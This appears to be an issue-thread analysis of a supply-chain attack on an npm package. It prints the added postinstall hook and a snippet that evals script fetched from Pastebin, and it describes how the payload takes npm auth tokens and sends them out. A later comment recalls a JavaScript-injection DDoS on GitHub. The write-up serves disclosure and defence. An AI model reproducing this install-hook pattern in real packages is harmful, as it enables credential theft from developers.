The attacker modified package.json
in both [email protected]
and [email protected]
, adding a postinstall
script to run build.js
.
{
+ "postinstall": "node ./lib/build.js",
}
This script downloads another script from Pastebin and eval
s its contents.
Some people have reported that this code has an issue:
r.on("data", c => {
eval(c);
});
Because it doesn't wait for the request to complete, it is possible for the reqeuest to only send part of the script and the eval
call to fail with a SyntaxError
, which is how the issue was discovered.
pastebin (https://pastebin.com/XLeVP82h, taken down)
The script extracts the _authToken
from a user's .npmrc
and sends it to histats
and statcounter
inside the Referer
header.
@bcomnes Some of the largest attacks have been preformed by the shittiest code... for example: just a few years ago, GitHub got taken down by (what was at the time) the largest DDoS ever.
How was it achieved? Component's of China's "supposedly" compromised infrastructure preformed MitM attacks against citizens and injects JS which that included 2 seperate vesrions of jQuery that are used to call
$.ajax
on github....Why 2 seperate versions of jQuery?? Wait—why jQuery? You would think the hacks responsible for what blog articles were calling "largest digital attack against freespeech ever" would know about
window.XMLHttpRequest
read more: https://news.ycombinator.com/item?id=9275041
aformentioned deobfuscated attack code: